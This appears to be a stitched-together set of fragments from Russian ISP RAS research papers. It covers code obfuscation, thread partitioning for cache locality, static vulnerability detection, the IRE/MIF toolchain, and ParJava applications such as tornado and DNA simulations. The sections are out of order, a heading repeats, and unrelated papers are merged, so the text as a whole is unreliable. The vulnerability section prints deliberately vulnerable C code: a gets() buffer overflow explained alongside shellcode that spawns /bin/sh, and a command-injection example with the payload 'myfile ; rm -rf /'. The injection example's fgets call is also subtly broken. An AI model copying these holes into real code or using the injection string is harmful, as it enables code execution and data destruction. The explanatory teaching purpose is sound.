    В таблице 4 в столбце queens приведены базовые метрики сложности кода для исходной процедуры queens; в столбце MM(queens) - для процедуры, замаскированной с помощью предложенного метода маскировки; в столбце CM(queens) - для процедуры, замаскированной с помощью коммерческого маскировщика рассмотренного выше.

    В таблице 5 приведены метрики цены применения маскирующего преобразования, усложнения программы требуемой глубины анализа для предложенного метода маскировки MM и для коммерческого маскировщика CM. Для коммерческого маскировщика сложность алгоритма маскировки неизвестна, поэтому в соответствующих ячейках таблицы стоит знак "?". Из таблицы видно, что новый метод маскировки MM существенно дешевле, чем реализованный в коммерческом маскировщике.

    О некоторых задачах анализа и трансформации программ

    С.С. Гайсарян, А.В. Чернов, А.А. Белеванцев, О.Р. Маликов, Д.М. Мельник, А.В. Меньшикова
    Труды


    Промежуточное представление

    Промежуточное представление MIF используется всеми инструментами интегрированной среды. Оно является представлением среднего уровня и спроектировано таким образом, чтобы представлять программы, написанные на широком спектре процедурных и объектно-ориентированных языков программирования.
    Программа в представлении MIF представляет собой последовательность четвёрок, которые используются для представления как декларативной, так и императивной информации о программе. Текстуальное представление MIF используется как интерфейс между анализатором языка и интегрированной средой, а также для хранения анализируемых программ.

    Разбиение на нити

    На этом шаге производится собственно разбиение графа зависимостей по данным на нити. Количество нитей является параметром алгоритма. Так как целью разбиения является получение выигрыша по времени, возникающего из-за увеличения количества событий локальности в каждой нити, то необходимо привязать каждую нить к одному конкретному процессору или, точнее, к конкретному кэшу. Поэтому количество нитей, на которые производится разбиение, обычно равно количеству процессоров в системе.
    Алгоритм разбиения состоит в итерировании списка узлов графа, еще не назначенных конкретной нити, и определения нити для какого-либо из узлов (группы таких алгоритмов обычно называются list scheduling). На каждом шаге такой алгоритм делает локально оптимальный выбор. Это значит, что при выборе очередного узла из списка делается попытка присвоить его каждой из имеющихся нитей, после чего выбирается лучшая.
    Для того, чтобы иметь возможность оценивать варианты присвоения узла нити, необходимо ввести некоторую оценочную функцию. В нашем случае такая функция содержит время выполнения нити, а также среднеквадратичное отклонение времен выполнения всех нитей. Это следует из того соображения, что в оптимальном разбиении времена выполнения нитей должны быть достаточно близки друг к другу. Возможно включение и других параметров.
    При включении узла в какую-либо нить необходимо провести пересчет вре-мени выполнения этой нити. Алгоритм пересчета состоит из следующих шагов:
  • Учет времени, необходимого на синхронизацию с другими нитями, если она требуется.
  • Учет возникающих событий локальности.
  • Рассмотрим более подробно каждый из этих шагов.
    2.1.3.1. Учет времени на синхронизацию Обрабатываемый на текущем этапе узел может зависеть по данным от некоторых других. В этом случае необходимо дождаться выполнения каждой нити, которые содержит такие узлы. Порядок обхода узлов в списке должен быть таков, чтобы гарантировалось, что все такие узлы уже были распределены на нити. Для этого можно обходить узлы в естественном порядке, то есть так, как они расположены в последовательной программе, либо выполнить тополо-гическую сортировку графа зависимостей по данным.
    Еще раз подчеркнем, что иерархичность графа обеспечивает то, что он является ациклическим.

    Таким образом, к моменту обработки некоторого узла все узлы, от которых он зависит по данным, уже распределены на нити. Если какие-либо из таких узлов находятся в других нитях, то перед выполнением текущего узла необходимо провести синхронизацию со всеми такими нитями. Для того, чтобы осуществить такую синхронизацию, нужно завести по одной общей переменной для каждой нити. Присваивание значения i такой переменной для некоторой нити j означает, что эта нить выполнила узел i. Нить, ждущая результатов вычисления узла i, должна ждать, пока соответствующая общая переменная не примет нужного значения. Пример такой синхронизации показан на Рис. 2.

    Времена выполнения каждой из нитей, проводящих синхронизацию, должны быть увеличены соответствующим образом. Нить, пишущая в общую переменную о результатах выполнения узла, дополнительно работает время t1. Нить, ждущая данных от нескольких узлов, ожидает последний из выполняющихся узлов, после чего тратит время t2. Эти времена являются параметрами алгоритма.

    Разбиение на нити

    Рис. 2. Пример синзронизации

    2.1.3.2. Учет возникающих событий локальности Для учета событий локальности для каждой нити необходимо эмулировать кэш процессора, на котором она выполняется. При распределении текущего узла на какую-либо нить необходимо проверить все переменные, которые читаются либо пишутся узлом, на попадание в кэш. Если попадание произошло, то время выполнения узла должно быть уменьшено на интервал времени t3, также являющийся параметром алгоритма.

    Разбиение на нити

    Рис. 3. Пример эмулирования кэша

    Для учета событий как временной, так и пространственной локальности необходимо моделирование линий кэша, т.е. помещение в кэш не одной переменной, а некоторого блока памяти, окружающего нужную переменную. Моделирование различных типов кэшей приведет к разным результатам при разделении на нити.

    Пример моделирования событий локальности изображен на Рис. 3.

    Разбиение программ на нити и повышение локальности

    В настоящее время широко распространены рабочие станции и персональные компьютеры, содержащие несколько центральных процессоров. Массовые многопроцессорные системы обычно содержат 2, 4 или 8 процессоров, работающих над общей памятью с одинаковым для всех процессоров временем доступа (SMP). Для максимального использования возможностей SMP-систем в вычислительно-интенсивных приложениях необходимо максимально использовать "легковесные" процессы (нити). В этом случае накладные расходы на коммуникацию минимизированы, так как все нити разделяют одно адресное пространство, а синхронизационные операции выполняются проще и быстрее, чем для обычных ("тяжелых") процессов.
    Известно, что большинство программ при работе демонстрируют хорошую локальность, т.е. работают над близко расположенными в памяти данными, или выполняют одни и те же инструкции. На этом наблюдении основана работа процессорных кэшей. Для наиболее полного использования возможностей кэша необходимо улучшать локальность программы.
    В данном разделе мы представим новый алгоритм для разделения программы на нити, который улучшает локальность программы в целом. Полученные экспериментальные результаты показывают оправданность применения нового алгоритма для разбиения на нити программ без чёткой циклической структуры, которые не могут быть разбиты на нити традиционными методами. Основным выводом работы является то, что соображения локальности должны приниматься во внимание при разделении программы на нити для небольшого числа процессоров.
    Системы с разделяемой памятью наиболее удобны для программиста параллельных приложений. Более того, часть работы по распараллеливанию последовательного кода может быть выполнена компилятором. Существует много исследований по автоматическому распараллеливанию циклов и рекурсивных процедур на таких системах. Некоторые разработки реализованы в промышленных компиляторах, например, IBM Visual Age C++, Intel C++ Compiler, SGI MIPSPro, REAPAR и других.
    В последнее время проводятся исследования по автоматическому распарал-леливанию любого последовательного кода.
    Предложено несколько подходов, таких, как управление выполнением нитей (thread-level speculation) [6], коммутативный анализ, динамическое распределение задач на нити (dynamic task scheduling) [5], автоматическое разделение на нити на этапе компиляции. Часть предложенных алгоритмов проверена авторами на эмуляторах, часть реализована в существующих исследовательских компиляторах, например, в компиляторе SUIF Стенфордского университета [7].

    Формализация понятия локальности проведена в [8]. Рассматривается два вида событий локальности:

  • Событие временной локальности происходит при повторном доступе к ячейке памяти, уже имеющейся в кэше.
  • Событие пространственной локальности происходит при доступе к ячейке памяти, расположенной в блоке, уже загруженном в кэш при обращении к какой-либо другой ячейке.
  • Для увеличения количества событий локальности в последнее время предложено большое количество оптимизирующих преобразований программы. Основными методами являются:

  • Группировка инструкций, использующих одни и те же данные (locality grouping), для увеличения количества событий временной локальности.
  • Упаковка данных в памяти (data packing) для увеличения количества событий пространственной локальности.
  • Перестановка процедур, базовых блоков и т.п. Целью данной работы является исследование вопроса о том, как может быть проведено разделение программы на потоки для увеличения количества событий локальности программы в целом. Для этого предлагается использовать эвристический алгоритм разделения программы на нити, учитывающий в процессе разделения возникающие события локальности и динамически подстраивающий параметры эвристик.

    Результаты экспериментов

    Текущий прототип инструментального средства был проверен на нескольких тестовых примерах, как широко распространённых (bftpd), так и являющихся частью приложений, разрабатываемых в фирме Nortel для своего оборудования. Были получены следующие результаты.
    Application Total number of warnings Number of "true positives" Number of "possible errors" Number of "false positives" "false positives" % FlexeLint
    Bigfoot 20 4 3 13 65% 0 (0%)
    Log_api 4 1 3 0 0% 0 (0%)
    Bftpd 57 2 32 23 40% 0 (0%)
    Config_api 11 9 0 2 18% 1 (11%)
    Таблица 6. Результаты запуска инструментального средства
    В этой таблице, в столбце "Total" приведено общее количество сообщений об обнаруженных ошибках, выведенных нашим инструментальным средством. В столбце "True" дано количество сообщений, указывающих на действительные проблемы в коде. В столбце "Possible" дано количество сообщений, истинность или ложность которых мы не смогли подтвердить из-за недостатка информации о программе. В столбце "False" дано количество ложных срабатываний. Наконец, в столбце "FlexeLint" дано количество истинных сообщений об ошибке, выявленных инструментальным средством FlexeLint.
    Как видно из проведённых испытаний, текущий прототип системы для обнаружения уязвимостей защиты демонстрирует очень хорошие результаты. Процент ложных срабатываний оказался намного ниже, чем у других аналогичных инструментальных средств.

    Состав среды

    Программа на языке Си транслируется в промежуточное представление с помощью компонента "Анализатор Си в MIF". В настоящее время поддерживается стандарт ISO C90 и некоторые расширения GNU. Чтобы обеспечить независимость интегрированной среды от деталей реализации стандартной библиотеки Си для каждой конкретной платформы и обеспечить возможность корректной генерации программы на Си по её внутреннему представлению, анализатор использует собственный набор стандартных заго-ловочных файлов (stdio.h и т. д.). На уровне стандартной библиотеки полностью поддерживается стандарт ISO C90 и некоторые заголовочные файлы POSIX. Внутреннее представление программы находится в памяти инте-грированной среды, но возможно сохранение внутреннего представления в файле.
    Компонент "Генератор MIF ->C" позволяет по программе во внутреннем представлении получить программу на языке Си. При генерации программы корректно генерируются директивы #include для всех использованных в исходной программе системных заголовочных файлов. Для проведения полустатического анализа программ генератор поддерживает несколько типов инструментирования программы. Инструментирование программы заключается во внесении в ее текст специальных операторов, собирающих информацию о ходе выполнения программы. В настоящее время генератор поддерживает инструментализацию программы для сбора полных трасс выполнения программы, профилирование базовых блоков и дуг, профилирование значений. Собранные в результате выполнения инструментированной программы профили выполнения могут впоследствии использоваться для анализа и преобразования программ.
    Компоненты "Анализаторы" реализуют различные методы статического и полустатического анализа программ. При этом сама программа не трансформируется, а во внутреннее представление программы добавляется полученная в результате выполнения анализа информация. В интегрированной среде эти компоненты доступны посредством пункта меню Analyze. Например, алгоритм разбиения программы на базовые блоки, доступный через пункт меню Mark basic blocks, строит граф потока управления программы, создаёт соотвествующие структуры данных в памяти системы и добавляет ссылки на построенный граф в структуры данных внутреннего представления программы.
    Компоненты "Трансформаторы" реализуют различные преобразования программ. При этом результатом работы компонента трансформации является новая программа во внутреннем представлении, для которой в интегрированной среде создаётся новое окно. Исходная программа сохраняется неизменной. Трансформационные компоненты доступны в интегрированной среде посредством пунктов меню Optimize, Transform и Obfuscate в зависимости от класса преобразования.
    Компоненты "Визуализаторы" реализуют различные алгоритмы визуализации информации о программе. Эти компоненты доступны посредством пункта меню Vizualize интегрированной среды.

    Виды уязвимостей защиты

    В настоящее время сложилась некоторая классификация уязвимостей защиты в зависимости от типа программных ошибок, которые могут приводить к появлению уязвимости в программе. В рамках данной работы мы рассмотрим лишь некоторые виды уязвимостей.
    Переполнение буфера (buffer overflow). Данная уязвимость возникает как следствие отсутствия контроля или недостаточного контроля за выходом за пределы массива в памяти. Языки Си/Си++, чаще всего используемые для разработки программного обеспечения системного уровня, не реализуют авто-матического контроля выхода за пределы массива во время выполнения программы. Это самый старый из известных типов уязвимостей (знаменитый червь Морриса использовал, среди прочих, уязвимости переполнения буфера в программах sendmail и fingerd), уязвимости такого типа наиболее просто использовать.
    По месту расположения буфера в памяти процесса различают переполнения буфера в стеке (stack buffer overflow), куче (heap buffer overflow) и области статических данных (bss buffer overflow). Все три вида переполнения буфера могут с успехом быть использованы для выполнения произвольного кода уязвимым процессом. Так, упомянутая выше программа rsync содержала уязвимость буфера в куче. Рассмотрим для примера более детально уязвимость переполнения буфера в стеке как наиболее простую на примере следующей простой программы:
    #include < stdio.h> int main(int argc, char **argv) { char buf[80]; gets(buf); printf("%s", buf); return 0; } Предположим, что стек процесса растёт в направлении уменьшения адресов памяти. В таком случае непосредственно перед выполнением функции gets стек будет иметь следующую структуру:
    SP+96 Аргументы командной строки, переменные окружения и т. д.
    SP+88 Аргументы функции main (argc, argv)
    SP+84 Адрес возврата из main в инициализационный код
    SP+80 Адрес предыдущего стекового фрейма
    SP+80 Сохранённые регистры (если есть), локальные переменные (если есть)
    SP Буфер (char buf[80])
    Как известно, функция gets не позволяет ограничивать длину вводимой со стандартного потока ввода строки.
    Вся введённая строка до символа '\n', кроме него самого, будет записана в память по адресам, начинающимся с адреса массива buf. При этом, если длина введённой строки превысит 80 символов, то первые 80 символов строки будут размещены в памяти, отведённой под массив buf, а последующие символы будут записаны в ячейки памяти, непосред-ственно следующие за buf. То есть, таким образом будут испорчены сначала сохранённые регистры и локальные переменные, затем адрес предыдущего стекового фрейма, затем адрес возврата из функции main и т. д. В момент, когда функция main будет завершаться с помощью оператора return, процессор выполнит переход по адресу, хранящемуся в стеке, но этот адрес испорчен в результате выполнения функции gets, поэтому переход произойдёт совсем в другое место, чем стандартный код завершения процесса.

    Теперь, чтобы проэксплуатировать такое переполнение буфера, необходимо подать на вход программе специальным образом подготовленную строку, которая будет содержать небольшую программу, выполняющую нужные злоумышленнику действия (это так называемый shellcode, который в простейшем случае просто выполняет вызов стандартного командного интерпретатора /bin/sh). Кроме того, нужно так подобрать размер подаваемых на вход данных, чтобы при их чтении на место, где размещается адрес возврата из main, попал адрес начала shellcode. В результате в момент завершения работы функции main произойдёт переход на начало фрагмента shellcode, в результате чего будет запущен интерпретатор командной строки. Интерпретатор командной строки будет иметь полномочия пользователя, под которым работал уязвимый процесс, кроме того, стандартные средства аутентификации оказываются обойденными.

    Для предотвращения выполнения произвольного кода в случае использования переполнения буфера используются такие приёмы, как запрет выполнения кода в стеке, отображение стандартных библиотек в адресное пространство процесса со случайных адресов, динамический контроль барьерных данных и так далее. Но не один из этих приёмов не может гарантировать предотвращения использования уязвимости переполнения буфера в стеке, поэтому ошибки приводящие к переполнению буфера должны быть устранены непосредственно в исходном коде.


    Ошибки форматных строк (format string vulnerability). Этот тип уязвимостей защиты возникает из-за недостаточного контроля параметров при использо-вании функций форматного ввода-вывода printf, fprintf, scanf, и т. д. стандартной библиотеки языка Си. Эти функции принимают в качестве одного из параметров символьную строку, задающую формат ввода или вывода последующих аргументов функции. Если пользователь программы может управлять форматной строкой (например, форматная строка вводится в программу пользователем), он может сформировать её таким образом, что по некоторым ячейкам памяти (адресами которых он может управлять) окажутся записанными указанные пользователем значения, что открывает возможности, например, для переписывания адреса возврата функции и исполнения кода, заданного пользователем.

    Уязвимость форматных строк возникает, по сути, из-за того, что широко используемые в программах на Си функции, интерпретируют достаточно мощный язык, неограниченное использование возможностей которого приводит к нежелательным последствиям. Как следствие, в безопасной программе не должно быть форматных строк, содержимое которых прямо или косвенно зависит от внешних по отношению к программе данных. Если же такое невозможно, при конструировании форматной строки она должна быть тщательно проверена. В простейшем случае из пользовательского ввода должны "отфильтровываться" опасные символы "%" и "$".

    Уязвимости "испорченного ввода" (tainted input vulnerability). Это широкий класс уязвимостей защиты, в качестве подкласса включающий в себя уязвимости форматных строк. Уязвимости испорченного ввода могут возникать в случаях, когда вводимые пользователем данные без достаточного контроля передаются интерпретатору некоторого внешнего языка (обычно это язык Unix shell или SQL). В этом случае пользователь может таким образом задать входные данные, что запущенный интерпретатор выполнит совсем не ту команду, которая предполагалась авторами уязвимой программы.


    Рассмотрим следующий пример:

    #include < stdio.h> #include < stdlib.h> int main(void) { char buf[80], cmd[100]; fgets(buf, sizeof(buf), 80); snprintf(cmd, sizeof(cmd), "ls -l %s", buf); system(cmd); return 0; } В этом примере ожидается, что пользователь программы вводит имя файла, а программа вызывает стандартную программу ls, которая печатает информацию о введённом файле. При этом для вызова программы ls командная строка передаётся интерпретатору командной строки /bin/sh. Это можно использовать если ввести в программу строку, содержащую, например, символ ; (точка с запятой), например "myfile ; rm -rf /". Строка, фактически переданная интерпретатору командной строки будет равна "ls -l myfile ; rm -rf /", то есть фактически будет состоять из двух команд интерпретатора shell, а не из одной, при этом вторая команда - это запрос на удаление всей файловой системы.

    Как и в случае уязвимости форматной строки, достаточное условие отсутствия уязвимости типа испорченного ввода в программе состоит в том, что "опасные" аргументы "опасных" функций никак не должны зависеть от внешних по отношению к программе данных.

    Кроме перечисленных здесь типов уязвимостей защиты существуют и другие типы, например - уязвимости как следствие синхронизационных ошибок (race conditions), некорректная работа с временными файлами, слабое шифрование и другие классы уязвимостей. В рамках данной работы мы остановимся лишь на трёх перечисленных выше типах.

    В настоящей статье обсуждаются некоторые

    В настоящей статье обсуждаются некоторые перспективные направления исследований, проводимые в отделе компиляторных технологий Института системного программирования РАН. Методы анализа и трансформации программ, ранее применявшиеся в основном в оптимизирующих компиляторах, в настоящее время находят применение при решении множества смежных задач, таких как обеспечение безопасности программ, генерация тестов для программ и т. д.
    В отделе ведётся работа и в традиционной области оптимизации программ. Упор делается на разработку новых методов анализа указателей в программах на языке Си. Также проводятся исследования так называемых "полустатических" (profile-based) методов оптимизации программ. Такие методы заключаются в использовании на стадии оптимизации кода информации, накопленной с предварительных её запусков.
    Данная работа посвящена рассмотрению трёх направлений. Во-первых, это так называемая маскировка программ, преследующая цель, полностью сохранив пользовательское поведение программы, изменить её текст так, что обратная инженерия или повторное использование ее фрагментов или программы целиком становится сложным. Во-вторых, это задачи автоматической оптимизации программы для работы на многопроцессорных системах с общей памятью путём разбиения её на нити. В-третьих, это задача автоматического выявления уязвимостей в программе.
    Для поддержки работ по исследованию методов анализа и трансформации программ в отделе разработана интегрированная инструментальная среда (Integrated Research Environment, IRE), которая содержит большое количество различных алгоритмов анализа и трансформации программ и предоставляет удобный интерфейс пользователя.
    Данная работа имеет следующую структуру: в разделе 2 мы рассматриваем задачу автоматического разбиения программы на нити, в разделе 3 рассматриваются задачи маскировки программ, а в разделе 4 задача автоматического выявления уязвимостей. Далее в разделе 5 кратко описывается интегрированная среда IRE, её состав и внутреннее представление MIF, используемое всеми компонентами IRE. Наконец, в разделе 6 мы формулируем выводы данной работы и даём направления дальнейших исследований.

    Средства разработки приложений

    Механизм контрольных точек

    В среде ParJava реализован инструмент “CheckPoints”, реализующий механизм контрольных точек, который позволяет существенно сократить объемы сохраняемых данных и время на их сохранение. Реализация механизма контрольных точек для параллельной программы является нетривиальной задачей. Параллелизм усложняет процесс установки точек останова, т. к. сообщения порождают связи между отдельными процессами, и приходится обеспечивать так называемые консистентные состояния. Состояние двух процессов называется неконсистентным, если при передаче сообщения одного процесса другому, может возникнуть состояние, когда первый процесс еще не послал сообщение, а во втором уже сработала функция получения сообщения. Если в таком состоянии поставить точку останова, то восстановив впоследствии контекст задачи, мы не получим ее корректной работы. Пользователь указывает в программе место сохранения данных с помощью директивы EXCLUDE_HERE. В контрольной точке 1 (рис. 4) не сохраняются данные, которые будут обновлены до своего использования («мертвые» переменные). В контрольной точке 2 не сохраняются данные, которые используются только для чтения до этой контрольной точки. Результатом будет значительное уменьшение размеров сохраняемых данных в контрольной точке и уменьшение накладных расходов на их сохранение.
    Рис. 4. Контрольные точки Вначале граф потока управления G=(N, E) разбивается на подграфы G?. Корнем каждого подграфа G? является директива EXCLUDE_HERE. Подграф включает все пути, достижимые из этой директивы, не проходящие через другую директиву EXCLUDE_HERE. Для каждого подграфа вычисляются 2 множества переменных: DE(G?) - множество переменных, которые «мертвы» на каждой директиве EXCLUDE_HERE в G? и RO(G?) - множество переменных, предназначенных только-для-чтения по всему подграфу G?. Для нахождения множеств DE(G?) и RO(G?) используется консервативный анализ потока данных. В каждом состоянии S в программе вычисляются два множества характеризующие доступ к памяти: use[S] – множество переменных, которые могут быть использованы вдоль некоторого пути в графе, и def[S] – множество переменных, которым присваиваются значения до их использования вдоль некоторого пути в графе, начинающегося в S, или множество определений переменных. Ячейка памяти l является «живой» в состоянии S, если существует путь из S в другое состояние S? такой, что l Ячейка l является элементом DE(G?), если l «мертвая» во всех операторах сохранения контрольных точек в G?. Ячейка памяти l является ячейкой только-для-чтения в операторе S, если l

    Механизмы времени выполнения среды ParJava

    Для обеспечения возможности использования среды Java на высокопроизводительных кластерных системах были реализованы стандартная библиотека MPI и механизм контрольных точек.

    Модель параллельной Java-программы и ее интерпретация

    Модель SPMD-программы представляет собой совокупность моделей всех классов, входящих в состав моделируемой программы. Модель каждого класса – это множество моделей всех методов этого класса; кроме того, в модель класса включается модель еще одного дополнительного метода, описывающего поля класса, его статические переменные, а также инициализацию полей и статических переменных. Модель метода (функции) состоит из списка описаний локальных и глобальных переменных метода и модифицированного абстрактного синтаксического дерева метода: внутренние вершины модели соответствуют операторам языка Java, а листовые – базовым блокам. В качестве базовых блоков рассматриваются не только линейные последовательности вычислений (вычислительные базовые блоки), но также и вызовы библиотечных функций, вызовы пользовательских методов и функций и вызовы коммуникационных функций. Для обеспечения возможности интерпретации модели по частям введено понятие редуцированного блока, который представляет значения динамических атрибутов уже проинтерпретированных частей метода. Каждый MPI-процесс моделируемой программы представляется в ее модели с помощью логического процесса, который определен как последовательность действий (примеры действий: выполнение базового блока, выполнение операции обмена и т.п.). Каждое действие имеет определенную продолжительность. В логическом процессе определено понятие модельных часов. Начальное показание модельных часов каждого логического процесса равно нулю. После интерпретации очередного действия к модельным часам соответствующего логического процесса добавляется значение времени, затраченного на выполнение этого действия (продолжительности). Продолжительность каждого действия, а также значения исследуемых динамических параметров базовых блоков, измеряются заранее на целевой платформе. Для идентификации логических процессов используются номера моделируемых процессов, использованные в моделируемой программе при описании коммуникатора MPI (будем называть их пользовательскими номерами процессов).
    Как известно, для удобства программирования приложений в стандарте MPI реализована возможность задавать коммуникаторы, позволяющие задавать виртуальные топологии сети процессоров, описывая группы процессов. В среде ParJava коммуникаторы, заданные программистом, отображаются на MPI_COMM_WORLD, получая, тем самым, наряду с пользовательскими номерами внутренние номера. Все инструменты среды ParJava работают с внутренними номерами процессов, но при выдаче сообщений пользователю эти номера переводятся в пользовательские. В дальнейшем, при упоминании номера логического процесса будет подразумеваться его внутренний (системный) номер. Внутренний номер используется для доступа к логическому процессу при моделировании коммуникационных функций. Для сокращения времени интерпретации и обеспечения возможности выполнения интерпретации на инструментальном компьютере в среде ParJava моделируются только потоки управления процессов моделируемой программы и операции обмена данными между процессами. Это допустимо, так как значения времени выполнения и других исследуемых динамических атрибутов базовых блоков определяются на целевой вычислительной системе до начала интерпретации модели. Интерпретация модели лишь распространяет значения указанных динамических атрибутов на остальные узлы модели. Такой подход позволяет исключить из моделей базовых блоков переменные, значения которых не влияют на поток управления моделируемой программы. В результате часть вычислений, в которых определяются и используются указанные переменные, становится «мертвым кодом» и тоже исключается, что ведет к сокращению, как объема обрабатываемых данных, так и общего объема вычислений во время интерпретации. В некоторых базовых блоках описанный процесс может привести к исключению всех вычислений, такие базовые блоки заменяются редуцированными блоками. Внутреннее представление модели SPMD-программы разрабатывалось таким образом, чтобы обеспечить возможность возложить как можно большую часть функций интерпретатора на JavaVM.


    Такое решение позволило существенно упростить реализацию интерпретатора и обеспечить достаточно высокую скорость интерпретации, однако для его реализации потребовалось внести некоторые структурные изменения в модель параллельной программы. Внутреннее представление модели базового блока B представляет собой пару , где DescrB – дескриптор блока B (т.е. семерка , где id – уникальный идентификатор базового блока, присваиваемый ему при построении модели, ? – тип базового блока, P – ссылка на модель его тела, IC – множество входных управляющих переменных, OC – множество выходных управляющих переменных, Time – время выполнения базового блока, A – ссылка на список остальных его атрибутов), а BodyB – модель тела блока B (список выражений на байт-коде, вычисляемых в блоке B). Внутреннее представление модели метода определяется как тройка <дескриптор метода, модель потока управления, модель вычислений>. Дескриптор метода содержит сигнатуру метода, список генерируемых методом исключений, список дескрипторов формальных параметров и ссылки на модель потока управления и модель вычислений. Модель потока управления – это модифицированное АСД, описанное в [], в котором базовые блоки представлены своими дескрипторами. Модель вычислений – это преобразованный байт-код интерпретируемой Java-программы: все базовые блоки модели вычислений включены в состав переключателя, значение управляющей переменной которого определяет номер очередного интерпретируемого базового блока. Интерпретация модели состоит в выполнении Java-программы, определяющей модель вычислений на JavaVM: в интерпретаторе модели потока управления определяется очередное значение управляющей переменной переключателя модели вычислений, после чего интерпретируется модель соответствующего базового блока. Интерпретация модели базового блока определяется его типом. Для блоков типа «вычислительный блок» (время выполнения таких базовых блоков определяется заранее на целевой платформе) вносится соответствующее изменение во временной профиль метода, и управление возвращается в модель вычислений.


    Для блоков типа «вызов пользовательской функции», управление возвращается в модель вычислений, где вызывается модель вычислений этого метода. Во время выполнения вызванной модели вычислений в стек помещается текущее состояние, и подгружаются необходимые структуры данных. После интерпретации метода из стека извлекается состояние на момент вызова пользовательской функции и продолжается выполнение модели вычислений первой функции. Для блоков типа «вызов коммуникационной функции», управление возвращается в модель вычислений, где вызывается модель соответствующей коммуникационной функции, которая помимо выполнения передачи данных между логическими процессами обеспечивает вычисление оценки времени выполнения коммуникации и внесение соответствующих изменений во временной профиль. При интерпретации блоков типа «редуцированный блок» (динами-ческие атрибуты таких блоков уже определены и они не интерпретируются), возврат в модель вычислений не происходит; вносятся изменения во временной профиль, и выполняется поиск следующего базового блока.

    Моделирование процесса зарождения торнадо

    В Институте физики Земли РАН была разработана математическая модель развития торнадо в трехмерной сжимаемой сухоадиабатической атмосфере. Большой объем вычислений для получения численного решения потребовал реализации программы на высокопроизводительных вычислительных кластерах. Рассматриваемая система уравнений является сильно нелинейной системой смешанного типа. Для решения системы использовалась явная разностная условно-устойчивая схема второго порядка точности по времени и пространству; критерии ее устойчивости оказались близкими к явной схеме Маккормака. Программа разработана в Институте системного программирования РАН в сотрудничестве с Институтом физики Земли РАН с использованием среды ParJava и предназначена для выполнения на кластерных вычислительных системах. Программу можно разделить на два блока: загрузка/инициализация данных и главный цикл. Сохранение результатов происходит во время выполнения главного цикла. Входные данные хранятся в файле, где перечислены физические параметры модели и вспомогательные данные для работы программы, например, количество выдач значимых результатов и пути. Для выявления возможностей распараллеливания циклы были исследованы при помощи Омега теста, реализованного в среде ParJava, который показал отсутствие зависимостей по данным между элементами массивов, обрабатываемых в циклах. Это позволило разделить массивы на блоки и распределить полученные блоки по процессорам кластера. Поскольку разностная схема является трехточечной, возникают теневые грани ширины в один пространственный слой. На текущей итерации используются только данные, вычисленные на предыдущих итерациях. Это позволяет обновлять теневые грани один раз при вычислении каждого слоя, что снижает накладные расходы на пересылку. Исследования на интерпретаторе показали, что двумерное разбиение массивов наиболее эффективно, поэтому в программе использовалось двумерное разбиение. Вариант с трехмерным разбиением оказался не самым оптимальным из-за неоднородности вычислений по оси Z. Как показано в разд. 2, для данного класса задач необходимо использовать коммуникационный шаблон с использованием неблокирующих коммуникаций. Так как программа моделирования торнадо – это программа с большим временем счета: 300 секунд жизни торнадо на кластере МСЦ (64 вычислителя Power 2,2 GHz, 4 GB) рассчитывались около недели, ? и большим объемом генерируемых данных, использовался механизм контрольных точек. На рис. 5 приводятся графики ускорения программы при блокирующих и неблокирующих обменах данными. При тестировании производительности использовались начальные данные рабочей задачи, но вычислялись только первая секунда жизни торнадо.
    Рис. 5. График ускорения. Данные результаты вычислений использовались в исследовании процесса зарождения торнадо и они продемонстрировали адекватность используемой модели и возможность использования среды ParJava для разработки такого рода приложений. Более подробно результаты моделирования торнадо рассматриваются в работе [22].

    Моделирование теплового движения молекул воды и ионов в присутствии фрагмента ДНК

    Для моделирования теплового движения молекул воды и ионов в присутствии фрагмента ДНК методом Монте-Карло существовала параллельная программа, написанная на языке Fortran с использованием MPI. Биологические и математические аспекты задачи и программы описаны в работе [23]. В параллельной программе исходное пространство, заполненное молекулами, разделяется на равные параллелепипеды по числу доступных процессоров. Процессоры проводят испытания по методу Монте-Карло над каждой молекулой. Решение о принятии новой конфигурации принимается на основе вычисления изменения энергии. Для вычисления изменения энергии на каждом шаге производится выборка соседей, вклад которых учитывается при вычислении. После того как процессоры перебирают все молекулы, производится обмен данными между процессорами, моделирующими соседние области пространства. Исходная Fortran-программа требовала для моделирования реальных систем большого числа процессоров (от 512) и могла выполняться только на количестве процессоров, равному кубу натурального числа, то есть на 8, 27, 64 и т.д. процессорах. Это приводило к увеличению времени, необходимого для моделирования одной системы. Главная проблема заключалась в кубическом росте количества перебираемых молекул при выборе соседей, с увеличением количества молекул, моделируемых на одном процессоре. В среде ParJava была реализована аналогичная программа на языке Java с использованием MPI. Исследование производительности Java-программы позволило выявить причину неэффективной работы Fortran-программы. Для сокращения объема вычислений при построении списка соседей были предложены и реализованы две модификации. Основная модификация заключалась во введении дополнительного разделения молекул по пространству. Это позволило уменьшить количество перебираемых молекул и сократить объем вычислений при построении списка соседей. Для оценки эффективности произведенных модификаций сравнивались три программы. Исходная Fortran-программа с использованием MPI, сравнивалась с двумя Java-программами, также использующими MPI.
    Первая Java-программа включает в себя только одну модификацию, заключающуюся в использовании одного набора соседей при вычислении энергии для текущего и измененного положения молекулы. Во второй программе, дополнительно было реализовано разбиение на поддомены. Обе Java-программы можно запускать на произвольном числе процессоров, с одним ограничением: по каждому из направлений исходная ячейка должна быть разделена хотя бы на 2 домена. Для сравнения производительности была проведена серия тестов с разным числом вычислителей. Объем задачи увеличивался с ростом числа вычислителей таким образом, чтобы на каждом вычислителе был одинаковый объем данных. На 8 вычислителях моделировалась кубическая ячейка с ребром 100 ангстрем, а на 64 вычислителях ребро ячейки составляло 200 ангстрем, при этом каждый вычислитель моделировал 4166 молекул. В процессе моделирования над каждой из молекул проводилось по 1000 испытаний. Результаты измерения, приведенные на рис. 6, получены на кластере ИСП РАН, состоящем из 12 узлов (2 х Intel Xeon X5355, 4 ядра), объединенных сетью Myrinet. Число MPI-процессов соответствовало числу ядер, каждое из которых может рассматриваться как отдельный вычислитель. Для Fortran-программы измерения производились с использованием 8, 27 и 64 ядер. Для Java-программ измерения производились с использованием 8, 12, 16, 24, 27, 32, 36, 40, 48, 56, 64 ядер.
